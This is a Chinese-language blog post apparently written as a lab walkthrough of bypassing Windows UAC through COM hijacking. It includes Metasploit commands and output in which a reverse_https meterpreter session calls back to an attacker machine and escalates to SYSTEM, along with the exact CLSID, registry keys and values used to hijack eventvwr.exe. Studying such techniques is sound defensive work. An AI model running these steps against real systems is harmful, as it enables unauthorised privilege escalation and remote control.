Hu3sky's blog

bypassUAC_via_comhijacking

Word count: 804 / Reading time: 4 min
2019/05/13 Share

bypassUAC_via_comhijacking

What is UAC

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果

1

bypassUAC_via_comhijacking

靶机:WIN7
攻击机:KALI

先回弹一个msf会话,发现不能getsystem
1
使用bypass_uac模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf exploit(handler) > use exploit/windows/local/bypassuac_comhijack
msf exploit(bypassuac_comhijack) > set session 1
session => 1
msf exploit(bypassuac_comhijack) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf exploit(bypassuac_comhijack) > run

[*] Started HTTPS reverse handler on https://192.168.107.145:6666
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Targeting Computer Managment via HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} ...
[*] Uploading payload to C:\Users\Hu3sky\AppData\Local\Temp\BgTSfENK.dll ...
[*] Executing high integrity process ...
[*] https://192.168.107.145:6666 handling request from 192.168.107.144; (UUID: tpdt4wve) Staging x64 payload (206423 bytes) ...
[*] Meterpreter session 5 opened (192.168.107.145:6666 -> 192.168.107.144:51040) at 2019-05-13 22:12:58 +0800
[+] Deleted C:\Users\Hu3sky\AppData\Local\Temp\BgTSfENK.dll
[*] Cleaining up registry ...

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))

成功,可以明显看到劫持的ID{0A29FF9E-7F9C-4437-8B11-F424491E3931}
不过过不了360
1

原理

COM

COM是Component Object Model (组件对象模型)的缩写。

CLSID

即全局唯一标识符,CLSID是指windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配一个唯一表示它的ID代码,用于对其身份的标示和与其他对象进行区分
1
当某程序调用对象时,是通过CLSID寻找的

1
Win + R + ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}

即可打开我的电脑

CLSID 在注册表中的表现形式

1
2
InprocHandler32 指定应用程序使用的自定义处理程序
InprocServer32 注册32位进程所需要的模块、线程属性配置

InprocServer32

1
2
3
4
5
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
   {CLSID}
      InprocServer32
         (Default) = path
         ThreadingModel = value #ThreadingModel是一个REG_SZ值,用于指定线程模型

COM组件加载过程

1
2
3
1. HKCU\Software\Classes\CLSID
2. HKCR\CLSID
3. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

1

COM组件劫持原理

当进程寻找COM组件时,第一步

1
HKCU\Software\Classes\CLSID

所以,在CLSID下新建一个对象ID就能够劫持某个进程或多个进程

分析源码

1
/usr/share/metasploit-framework/modules/exploits/windows/local/bypassuac_comhijack.rb

先是系统版本检测
1
1
劫持点

1
2
%WINDIR%\System32\eventvwr.exe
%WINDIR%\System32\mmc.exe

劫持的ID 都为0A29FF9E-7F9C-4437-8B11-F424491E3931

1

注册表项为

1
2
HKCU\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\InProcServer32
HKCU\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\ShellFolder

InProcServer32’s Key:

1
2
Default -> %TEMP%\\#{rand_text_alpha(8)}.dll
ThreadingModel -> Apartment

ShellFolder’s Key:

1
2
3
LoadWithoutCOM -> NULL
HideOnDesktop -> NULL
Attributes -> 0xf090013d

过程
eventvwr.exe寻找{0A29FF9E-7F9C-4437-8B11-F424491E3931}组件,该组件需要加载InProcServer32指定的DLL,而该DLL就是msf生成的dll,即#{rand_text_alpha(8)}.dll,当DLL加载至eventvwr.exe的过程中,Windows会复制一个管理员的Access Token给这个DLL创建的进程

Referers

CATALOG
  1. 1. bypassUAC_via_comhijacking
    1. 1.1. What is UAC
    2. 1.2. bypassUAC_via_comhijacking
    3. 1.3. 原理
      1. 1.3.1. COM
      2. 1.3.2. CLSID
        1. 1.3.2.1. CLSID 在注册表中的表现形式
      3. 1.3.3. COM组件加载过程
      4. 1.3.4. COM组件劫持原理
      5. 1.3.5. 分析源码
  2. 2. Referers